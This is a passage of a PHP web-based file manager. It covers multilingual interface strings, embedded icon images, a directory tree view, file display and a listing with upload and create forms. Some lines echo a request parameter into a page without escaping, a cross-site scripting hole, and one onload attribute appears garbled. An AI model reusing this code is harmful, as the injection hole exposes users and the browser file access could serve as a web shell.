  681. $words['cantbeshown'] = '1 kann nicht angezeigt werden.'; $words['sourceof'] = 'Quelltext von 1';
  682. $words['notopened'] = '1 konnte nicht ge&ouml;ffnet werden.';
  683. $words['addauth'] = 'Standard-Authentifizierungseinstellungen hinzuf&uuml;gen';
  684. $words['username'] = 'Benutzername'; $words['password'] = 'Kennwort'; $words['add'] = 'hinzuf&uuml;gen';
  685. $words['treeon'] = 'Baumansicht aktivieren'; $words['treeoff'] = 'Baumansicht deaktivieren';
  686. $words['symlink'] = 'Symbolischer Link'; $words['createsymlink'] = 'Link erstellen'; $words['target'] = 'Ziel';
  687. $words['reltarget'] = 'Relative Pfadangabe des Ziels';
  688. $words['alreadyexists'] = 'Die Datei existiert bereits.';
  689. $words['overwrite'] = 'Soll 1 &uuml;berschrieben werden?';
  690. $words['samefiles'] = '1 und 2 sind identisch.';
  691. break;
  692. case 'cz':
  693. $words['dir'] = 'Adres&#xE1;&#x0159;'; $words['file'] = 'Soubor';
  694. $words['filename'] = 'Jm&#xE9;no souboru'; $words['size'] = 'Velikost'; $words['permission'] = 'Pr&#xE1;va'; $words['functions'] = 'Functions';
  695. $words['owner'] = 'Vlastn&#xED;k'; $words['group'] = 'Skupina'; $words['other'] = 'Ostatn&#xED;';
  696. $words['create'] = 'vytvo&#x0159;it'; $words['copy'] = 'kop&#xED;rovat'; $words['copyto'] = 'kop&#xED;rovat do'; $words['move'] = 'p&#x0159;esunout'; $words['moveto'] = 'p&#x0159;esunout do'; $words['delete'] = 'odstranit'; $words['edit'] = '&#xFA;pravy';
  697. $words['read'] = '&#x010D;ten&#xED;'; $words['write'] = 'z&#xE1;pis'; $words['exec'] = 'spu&#x0161;t&#x011B;n&#xED;'; $words['change'] = 'zm&#x011B;nit'; $words['upload'] = 'nahr&#xE1;t'; $words['configure'] = 'nastaven&#xED;';
  698. $words['yes'] = 'ano'; $words['no'] = 'ne';
  699. $words['back'] = 'zp&#xE1;tky'; $words['setperms'] = 'nastav pr&#xE1;va';
  700. $words['readingerror'] = 'Chyba p&#x0159;i &#x010D;ten&#xED; 1';
  701. $words['permsset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 byla nastavena na 2.'; $words['permsnotset'] = 'P&#x0159;&#xED;stupov&#xE1; pr&#xE1;va k 1 nelze nastavit na 2.';
  702. $words['uploaded'] = 'Soubor 1 byl ulo&#x017E;en do adres&#xE1;&#x0159;e 2.'; $words['notuploaded'] = 'Chyba p&#x0159;i ukl&#xE1;d&#xE1;n&#xED; souboru 1 do adres&#xE1;&#x0159;e 2.';
  703. $words['moved'] = 'Soubor 1 byl p&#x0159;esunut do adres&#xE1;&#x0159;e 2.'; $words['notmoved'] = 'Soubor 1 nelze p&#x0159;esunout do adres&#xE1;&#x0159;e 2.';
  704. $words['copied'] = 'Soubor 1 byl zkop&#xED;rov&#xE1;n do adres&#xE1;&#x0159;e 2.'; $words['notcopied'] = 'Soubor 1 nelze zkop&#xED;rovat do adres&#xE1;&#x0159;e 2.';
  705. $words['created'] = '1 byl vytvo&#x0159;en.'; $words['notcreated'] = '1 nelze vytvo&#x0159;it.';
  706. $words['deleted'] = '1 byl vymaz&#xE1;n.'; $words['notdeleted'] = '1 nelze vymazat.'; $words['suredelete'] = 'Skute&#x010D;n&#x011B; smazat 1?';
  707. $words['saved'] = 'Soubor 1 byl ulo&#x017E;en.'; $words['notsaved'] = 'Soubor 1 nelze ulo&#x017E;it.';
  708. $words['reset'] = 'zp&#x011B;t'; $words['clear'] = 'vy&#x010D;istit'; $words['save'] = 'ulo&#x017E;';
  709. $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1';
  710. $words['notopened'] = "1 nelze otev&#x0159;&#xED;t";
  711. $words['addauth'] = 'p&#x0159;idat z&#xE1;kladn&#xED;-authentifikaci';
  712. $words['username'] = 'U&#x017E;ivatelsk&#xE9; jm&#xE9;no'; $words['password'] = 'Heslo'; $words['add'] = 'p&#x0159;idat';
  713. $words['treeon'] = 'Zobraz strom adres&#xE1;&#x0159;&#x016F;'; $words['treeoff'] = 'Skryj strom adres&#xE1;&#x0159;&#x016F;';
  714. $words['symlink'] = 'Symbolick&#xFD; odkaz'; $words['createsymlink'] = 'vytvo&#x0159;it odkaz'; $words['target'] = 'C&#xED;l';
  715. $words['reltarget'] = 'Relativni cesta k c&#xED;li';
  716. $words['alreadyexists'] = 'Tento soubor u&#x017E; existuje.';
  717. $words['overwrite'] = 'P&#x0159;epsat 1?';
  718. $words['samefiles'] = '1 a 2 jsou identick&#xE9;l.';
  719. break;
  720. case 'it':
  721. $words['dir'] = 'Directory'; $words['file'] = 'File';
  722. $words['filename'] = 'Nome file'; $words['size'] = 'Dimensioni'; $words['permission'] = 'Permessi'; $words['functions'] = 'Funzioni';
  723. $words['owner'] = 'Proprietario'; $words['group'] = 'Gruppo'; $words['other'] = 'Altro';
  724. $words['create'] = 'crea'; $words['copy'] = 'copia'; $words['copyto'] = 'copia su'; $words['move'] = 'muovi'; $words['moveto'] = 'muove su'; $words['delete'] = 'delete'; $words['edit'] = 'edit';
  725. $words['read'] = 'leggi'; $words['write'] = 'scrivi'; $words['exec'] = 'esegui'; $words['change'] = 'modifica'; $words['upload'] = 'upload'; $words['configure'] = 'configura';
  726. $words['yes'] = 'si'; $words['no'] = 'no';
  727. $words['back'] = 'back'; $words['setperms'] = 'imposta permessi';
  728. $words['readingerror'] = 'Errore durante la lettura di 1';
  729. $words['permsset'] = 'I permessi di 1 sono stati impostati a 2.'; $words['permsnotset'] = 'I permessi di 1 non possono essere impostati.';
  730. $words['uploaded'] = '1 ? stato uploadato su 2.'; $words['notuploaded'] = 'Errore durante l\'upload di 1 su 2.';
  731. $words['moved'] = '1 ? stato spostato su 2.'; $words['notmoved'] = '1 non pu? essere spostato su 2.';
  732. $words['copied'] = '1 ? stato copiato su 2.'; $words['notcopied'] = '1 non pu? essere copiato su 2.';
  733. $words['created'] = '1 ? stato creato.'; $words['notcreated'] = 'impossibile creare 1.';
  734. $words['deleted'] = '1 ? stato eliminato.'; $words['notdeleted'] = 'Impossibile eliminare 1.'; $words['suredelete'] = 'Confermi eliminazione di 1?';
  735. $words['saved'] = '1 ? stato salvato.'; $words['notsaved'] = 'Impossibile salvare 1.';
  736. $words['reset'] = 'reimposta'; $words['clear'] = 'pulisci'; $words['save'] = 'salva';
  737. $words['cantbeshown'] = "Impossibile visualizzare 1."; $words['sourceof'] = 'sorgente di 1';
  738. $words['notopened'] = "Impossibile aprire 1";
  739. $words['addauth'] = 'aggiunge autenticazione di base';
  740. $words['username'] = 'Nome Utente'; $words['password'] = 'Password'; $words['add'] = 'add';
  741. $words['treeon'] = 'Abilita vista ad albero'; $words['treeoff'] = 'Disabilita vista ad albero';
  742. $words['symlink'] = 'Link simbolico'; $words['createsymlink'] = 'crea symlink'; $words['target'] = 'Target';
  743. $words['reltarget'] = 'Percorso relativo al target';
  744. $words['alreadyexists'] = 'Questo file esiste gi?.';
  745. $words['overwrite'] = 'Sovrascrivi 1?';
  746. $words['samefiles'] = '1 e 2 sono identici.';
  747. break;
  748. case 'en':
  749. default:
  750. $words['dir'] = 'Directory'; $words['file'] = 'File';
  751. $words['filename'] = 'Filename'; $words['size'] = 'Size'; $words['permission'] = 'Permission'; $words['functions'] = 'Functions';
  752. $words['owner'] = 'Owner'; $words['group'] = 'Group'; $words['other'] = 'Other';
  753. $words['create'] = 'create'; $words['copy'] = 'copy'; $words['copyto'] = 'copy to'; $words['move'] = 'move'; $words['moveto'] = 'move to'; $words['delete'] = 'delete'; $words['edit'] = 'edit';
  754. $words['read'] = 'read'; $words['write'] = 'write'; $words['exec'] = 'execute'; $words['change'] = 'change'; $words['upload'] = 'upload'; $words['configure'] = 'configure';
  755. $words['yes'] = 'yes'; $words['no'] = 'no';
  756. $words['back'] = 'back'; $words['setperms'] = 'set permission';
  757. $words['readingerror'] = 'Error during read of 1';
  758. $words['permsset'] = 'The permission of 1 were set to 2.'; $words['permsnotset'] = 'The permission of 1 could not be set.';
  759. $words['uploaded'] = '1 has been uploaded to 2.'; $words['notuploaded'] = 'Error during upload of 1 to 2.';
  760. $words['moved'] = '1 has been moved to 2.'; $words['notmoved'] = '1 could not be moved to 2.';
  761. $words['copied'] = '1 has been copied to 2.'; $words['notcopied'] = '1 could not be copied to 2.';
  762. $words['created'] = '1 has been created.'; $words['notcreated'] = '1 could not be created.';
  763. $words['deleted'] = '1 has been deleted.'; $words['notdeleted'] = '1 could not be deleted.'; $words['suredelete'] = 'Really delete 1?';
  764. $words['saved'] = '1 has been saved.'; $words['notsaved'] = '1 could not be saved.';
  765. $words['reset'] = 'reset'; $words['clear'] = 'clear'; $words['save'] = 'save';
  766. $words['cantbeshown'] = "1 can't be shown."; $words['sourceof'] = 'source of 1';
  767. $words['notopened'] = "1 couldn't be opened";
  768. $words['addauth'] = 'add basic-authentification';
  769. $words['username'] = 'Username'; $words['password'] = 'Password'; $words['add'] = 'add';
  770. $words['treeon'] = 'Enable treeview'; $words['treeoff'] = 'Disable treeview';
  771. $words['symlink'] = 'Symbolic link'; $words['createsymlink'] = 'create link'; $words['target'] = 'Target';
  772. $words['reltarget'] = 'Relative path to target';
  773. $words['alreadyexists'] = 'This file already exists.';
  774. $words['overwrite'] = 'Overwrite 1?';
  775. $words['samefiles'] = '1 and 2 are identical.';
  776. }
  777. return $words;
  778. }
  779. function getimage ($iid) {
  780. $image = 'GIF89a';
  781. switch ($iid) {
  782. case 1: $image .= "\23\0\22\0\242\4\0\0\0\0\377\377\377\314\314\314\231\231\231\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\23\0\22\0\0\3?H\272\334N \312\327@\270\30P%\273\237\213\205\215\244\240q\201\240\256\254:\234P\332\316o(\317l\215\342\255\36\363\71\230\5\270\362\15\211\2cr\300l:\231\60\310g\272\251Z\257\330l5\1\0;\0"; break;
  783. case 2: $image .= "\23\0\22\0\221\2\0\0\0\0\314\314\314\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\23\0\22\0\0\2\64\224\217\251\2\355\233@\230\24@#\251v\357d\15V^H\6\26fr\352\312\230ehI\337;\305\63}6\364\206\356\365\350\63!V\304\323\345\210L*\227\220\2\0;\0"; break;
  784. case 3: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\32\214o\200\313\355\255\236\234,\322+-\336K\363\357}[(^d9\235hP\0\0;\0"; break;
  785. case 4: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234\217\251\313\355\17\15\230\224:\20\262\16\340j\241u\15\226\201\231\310\140\302\272rC\207\36d\140\272\343\27z\333yUU\4\14\12\207DF\1\0;\0"; break;
  786. case 5: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2*\234\217\251\313\355\17\15\230\224:\20\262\16\340n\335\65\330\307y\302y\226]\210\214\37\273\270\33\254\310\340UU\321\316\367\376\317(\0\0;\0"; break;
  787. case 6: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\33\214o\200\313\355\255\236\234,\322+-\336K\371\360q\224\46rd\211\235\350\270\76\5\0;\0"; break;
  788. case 7: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2\60\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\206\204\304a\221R\0\0;\0"; break;
  789. case 8: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\5\207B\42\245\0\0;\0"; break;
  790. case 9: $image .= "\23\0\22\0\200\1\0\231\231\231\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\30\214o\200\313\355\255\236\234,\322+-\336K\371\360q\342H\226\346\211r\5\0;\0"; break;
  791. case 10: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2/\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\234\320\201PGr\46\263\11\256\373\15\312*\243\245f\253\270\247?\330O\11\12\207\304\242\260\0\0;\0"; break;
  792. case 11: $image .= "\23\0\22\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\23\0\22\0\0\2.\234o\200\313\355\255\236\234\11\330k%\10\274\207\350l\36\7B#\251\5\302\272~\203R\46\247\373\210c\274\330\36\216\140\76\5\14\12\207\304\140\1\0;\0"; break;
  793. case 12: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\0\0\0\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break;
  794. case 13: $image .= "\21\0\15\0\221\3\0\314\0\0\377\377\377\231\231\231\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2-\234\201\211\306\15\1\343j\354\211+\302\3\364D\231t\26\206i\342\207r\324Hf\252\203~o\25\264\227\271\306\322i\273\247\216s(\206\257\2\0;\0"; break;
  795. case 14: $image .= "\21\0\15\0\242\4\0\231\231\231\377\377\377\0\0\0\314\0\0\377\377\377\0\0\0\0\0\0\0\0\0!\371\4\1\350\3\4\0,\0\0\0\0\21\0\15\0\0\3\71H\12\334\254\60\202@\353\213p\212-\302\4\330RYM8\15\3\305y\46\205\216,\204\316s\260\305\12M\217 6\5/[\247\47\1\246\140\304\314\210\63l\301,\46\207\224\230\0\0;\0"; break;
  796. case 15: $image .= "\21\0\15\0\221\3\0\231\231\231\377\377\377\314\314\314\377\377\377!\371\4\1\350\3\3\0,\0\0\0\0\21\0\15\0\0\2*\234\217\231\300\254\33b\4\317\264\213\235\225\274\13:\0\201@\226\46\11\212\347\372m\354\231\216o\31\317\264k\267a\216\36\331o(\0\0;\0"; break;
  797. case 16: $image .= "\21\0\15\0\221\2\0\0\0\0\377\377\0\377\377\377\0\0\0!\371\4\1\350\3\2\0,\0\0\0\0\21\0\15\0\0\2,\224\217\251\2\355\260\14\10\263\322\65\203\336\32\246\7\66_\325P\245x\224\34\207J\344vzi\7wJf\342\62\202\263\21\23\372\11\17\5\0;\0"; break;
  798. case 0:
  799. default: $image .= "\23\0\22\0\200\1\0\0\0\0\377\377\377!\371\4\1\350\3\1\0,\0\0\0\0\23\0\22\0\0\2\20\214\217\251\313\355\17\243\234\264\332\213\263\336\274\327\2\0;\0"; break;
  800. }
  801. return $image;
  802. }
  803. function tree_hassubdirs ($path) {
  804. if ($p = @opendir($path)) {
  805. while (($filename = readdir($p)) !== FALSE) {
  806. if (tree_isrealdir($path . $filename)) return TRUE;
  807. }
  808. }
  809. return FALSE;
  810. }
  811. function tree_isrealdir ($path) {
  812. if (basename($path) != '.' && basename($path) != '..' && @is_dir($path) && !@is_link($path)) return TRUE; else return FALSE;
  813. }
  814. function treeview () {
  815. global $self, $treeroot;
  816. if (isset($_GET['plus'])) tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['plus']);
  817. if (isset($_GET['minus'])) $dirchanged = tree_minus($_SESSION['tree'], $_SESSION['hassubdirs'], $_GET['minus']); else $dirchanged = FALSE;
  818. for ($d = $_SESSION['dir']; strlen($d = dirname($d)) != 1; tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $d));
  819. ?>
  820. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
  821. <html>
  822. <head>
  823. <title>Treeview</title>
  824. <style type="text/css">
  825. <!--
  826. td { font-family: sans-serif; font-size: 10pt; }
  827. a:link, a:visited, a:active { text-decoration: none; color: #000088; }
  828. a:hover { text-decoration: underline; color: #000088; }
  829. -->
  830. </style>
  831. </head>
  832. <body bgcolor="#FFFFFF"<?php if ($dirchanged) echo(" '$self?noupdate=TRUE&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . "'))\""); ?>>
  833. <table border="0" cellspacing="0" cellpadding="0">
  834. <?php
  835. tree_showtree($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot, 0, tree_calculatenumcols($_SESSION['tree'], $treeroot, 0));
  836. ?>
  837. </table>
  838. </body>
  839. </html>
  840. <?php
  841. return;
  842. }
  843. function frameset () {
  844. global $self;
  845. ?>
  846. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Frameset//EN">
  847. <html>
  848. <head>
  849. <title><?php echo($self); ?></title>
  850. </head>
  851. <frameset cols="250,*">
  852. <frame src="<?php echo("$self?frame=treeview&" . SID . '#' . urlencode($_SESSION['dir'])); ?>" name="treeview">
  853. <frame src="<?php echo("$self?" . SID); ?>" name="webadmin">
  854. </frameset>
  855. </html>
  856. <?php
  857. return;
  858. }
  859. function tree_calculatenumcols ($tree, $path, $col) {
  860. static $numcols = 0;
  861. if ($col > $numcols) $numcols = $col;
  862. if (isset($tree[$path])) {
  863. for ($i = 0; $i < sizeof($tree[$path]); $i++) {
  864. $numcols = tree_calculatenumcols($tree, $path . $tree[$path][$i], $col + 1);
  865. }
  866. }
  867. return $numcols;
  868. }
  869. function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) {
  870. global $self, $treeroot;
  871. static $islast = array(0 => TRUE);
  872. echo(" <tr>\n");
  873. for ($i = 0; $i < $col; $i++) {
  874. if ($islast[$i]) $iid = 0; else $iid = 3;
  875. echo(" <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
  876. }
  877. if ($hassubdirs[$path]) {
  878. if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; }
  879. if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3;
  880. echo(" <td><a href=\"$self?frame=treeview&$action=" . urlencode($path) . '&dir=' . urlencode($_SESSION['dir']) . '&' . SID . '#' . urlencode($path) . '">');
  881. echo("<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">");
  882. echo("</a></td>\n");
  883. } else {
  884. if ($islast[$col]) $iid = 9; else $iid = 6;
  885. echo(" <td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
  886. }
  887. if (@is_readable($path)) {
  888. $a1 = "<a name=\"" . urlencode($path) . "\" href=\"$self?dir=" . urlencode($path) . '&' . SID . '" target="webadmin">';
  889. $a2 = '</a>';
  890. } else {
  891. $a1 = $a2 = '';
  892. }
  893. if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1;
  894. echo(" <td>$a1<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">$a2</td>\n");
  895. $cspan = $numcols - $col + 1;
  896. if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = '';
  897. if ($col == $numcols) $width = ' width="100%"'; else $width = '';
  898. echo(" <td$width$colspan nowrap>&nbsp;");
  899. if ($path == $treeroot) $label = $path; else $label = basename($path);
  900. echo($a1 . htmlentities($label) . $a2);
  901. echo("</td>\n");
  902. echo(" </tr>\n");
  903. if (!empty($tree[$path])) {
  904. for ($i = 0; $i < sizeof($tree[$path]); $i++) {
  905. if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE;
  906. tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols);
  907. }
  908. }
  909. return;
  910. }
  911. function tree_plus (&$tree, &$hassubdirs, $p) {
  912. if ($path = spath(realpath($p))) {
  913. $tree[$path] = tree_getsubdirs($path);
  914. for ($i = 0; $i < sizeof($tree[$path]); $i++) {
  915. $subdir = $path . $tree[$path][$i];
  916. if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir);
  917. }
  918. }
  919. return;
  920. }
  921. function tree_minus (&$tree, &$hassubdirs, $p) {
  922. $dirchanged = FALSE;
  923. if ($path = spath(realpath($p))) {
  924. if (!empty($tree[$path])) {
  925. for ($i = 0; $i < sizeof($tree[$path]); $i++) {
  926. $subdir = $path . $tree[$path][$i] . '/';
  927. if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL;
  928. }
  929. $tree[$path] = NULL;
  930. if (substr($_SESSION['dir'], 0, strlen($path)) == $path) {
  931. $_SESSION['dir'] = $path;
  932. $dirchanged = TRUE;
  933. }
  934. }
  935. }
  936. return $dirchanged;
  937. }
  938. function tree_getsubdirs ($path) {
  939. $subdirs = array();
  940. if ($p = @opendir($path)) {
  941. for ($i = 0; ($filename = readdir($p)) !== FALSE;) {
  942. if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/';
  943. }
  944. }
  945. sort($subdirs);
  946. return $subdirs;
  947. }
  948. function show ($file) {
  949. global $words;
  950. if (@is_readable($file) && @is_file($file)) {
  951. header('Content-Disposition: filename=' . basename($file));
  952. header('Content-Type: ' . getmimetype($file));
  953. if (@readfile($file) !== FALSE) return TRUE;
  954. }
  955. return FALSE;
  956. }
  957. function show_highlight ($file) {
  958. global $words;
  959. if (@is_readable($file) && @is_file($file)) {
  960. header('Content-Disposition: filename=' . basename($file));
  961. echo("<html>\n<head><title>");
  962. echo(buildphrase(array('&quot;' . htmlentities(basename($file)) . '&quot;'), $words['sourceof']));
  963. echo("</title></head>\n<body>\n<table cellpadding=\"4\" border=\"0\">\n<tr>\n<td>\n<code style=\"color: #999999\">\n");
  964. $size = sizeof(file($file));
  965. for ($i = 1; $i <= $size; $i++) printf("%05d<br>\n", $i);
  966. echo("</code>\n</td>\n<td nowrap>\n");
  967. $shown = @highlight_file($file);
  968. echo("\n");
  969. echo("</td>\n</tr>\n</table>\n");
  970. echo("</body>\n");
  971. echo("</html>");
  972. if ($shown) return TRUE;
  973. }
  974. return FALSE;
  975. }
  976. function getmimetype ($file) {
  977. /* $mime = 'application/octet-stream'; */
  978. $mime = 'text/plain';
  979. $ext = substr($file, strrpos($file, '.') + 1);
  980. if (@is_readable('/etc/mime.types')) {
  981. $f = fopen('/etc/mime.types', 'r');
  982. while (!feof($f)) {
  983. $line = fgets($f, 4096);
  984. $found = FALSE;
  985. $mim = strtok($line," \n\t");
  986. $ex = strtok(" \n\t");
  987. while ($ex && !$found) {
  988. if (strtolower($ex) == strtolower($ext)) {
  989. $found = TRUE;
  990. $mime = $mim;
  991. break;
  992. }
  993. $ex = strtok(" \n\t");
  994. }
  995. if ($found) break;
  996. }
  997. fclose($f);
  998. }
  999. return $mime;
  1000. }
  1001. function dirlisting ($inaframe = FALSE) {
  1002. global $self, $homedir, $words;
  1003. global $error, $notice;
  1004. $p = '&' . SID;
  1005. html_header($_SESSION['dir']);
  1006. ?>
  1007. <form action="<?php echo($self); ?>" method="get">
  1008. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  1009. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  1010. <table border="0" cellspacing="1" cellpadding="4">
  1011. <tr>
  1012. <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
  1013. <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
  1014. </tr>
  1015. <tr>
  1016. <td bgcolor="#EEEEEE" colspan="2">
  1017. <table border="0" cellspacing="0" cellpadding="0">
  1018. <tr>
  1019. <td><?php echo("<a href=\"$self?dir=" . urlencode($homedir) . "$p\">" . $words['dir']); ?></a>:&nbsp;</td>
  1020. <td><input type="text" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>" size="<?php echo(textfieldsize($_SESSION['dir'])); ?>">&nbsp;</td>
  1021. <td><input type="submit" value="<?php echo($words['change']); ?>"></td>
  1022. </tr>
  1023. </table>
  1024. </td>
  1025. </tr>
  1026. </table>
  1027. </td></tr></table>
  1028. </form>
  1029. <?php if (@is_writable($_SESSION['dir'])) { ?>
  1030. <form action="<?php echo($self); ?>" method="post" enctype="multipart/form-data">
  1031. <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>">
  1032. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  1033. <?php if (isset($_REQUEST['frame'])) { ?>
  1034. <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>">
  1035. <?php } ?>
  1036. <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
  1037. <table border="0" cellspacing="1" cellpadding="4">
  1038. <tr>
  1039. <td bgcolor="#EEEEEE">
  1040. <table border="0" cellspacing="0" cellpadding="0">
  1041. <tr>
  1042. <td><?php echo($words['file']); ?>&nbsp;</td>
  1043. <td><input type="file" name="upload">&nbsp;</td>
  1044. <td><input type="submit" value="<?php echo($words['upload']); ?>"></td>
  1045. </tr>
  1046. </table>
  1047. </td>
  1048. </tr>
  1049. <tr>
  1050. <td bgcolor="#EEEEEE">
  1051. </form>
  1052. <form action="<?php echo($self); ?>" method="get">
  1053. <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>">
  1054. <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
  1055. <?php if (isset($_REQUEST['frame'])) { ?>
  1056. <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>">
  1057. <?php } ?>
  1058. <table border="0" cellspacing="0" cellpadding="0">
  1059. <tr>
  1060. <td>
  1061. <select name="type" size="1">
  1062. <option value="file"><?php echo($words['file']); ?>
  1063. <option value="dir" selected><?php echo($words['dir']); ?>
  1064. </select>&nbsp;
  1065. </td>
  1066. <td><input type="text" name="create">&nbsp;</td>
  1067. <td><input type="submit" value="<?php echo($words['create']); ?>"></td>
  1068. </tr>
  1069. </table>
  1070. </td>
  1071. </tr>
  1072. </table>
  1073. </td></tr></table>
  1074. </form>
  1075. <?php
  1076. }
  1077. if (empty($_GET['sort'])) $sort = 'filename'; else $sort = $_GET['sort'];
  1078. $reverse = @$_GET['reverse'];
  1079. $GLOBALS['showsize'] = FALSE;
  1080. if ($files = dirtoarray($_SESSION['dir'])) {
  1081. $files = sortfiles($files, $sort, $reverse);
  1082. outputdirlisting($_SESSION['dir'], $files, $inaframe, $sort, $reverse);
  1083. } else {
  1084. perror(buildphrase('&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot', $words['readingerror']));
  1085. }
  1086. if ($inaframe) {
  1087. pnotice("<a h…

Large files files are truncated, but you can click here to view the full file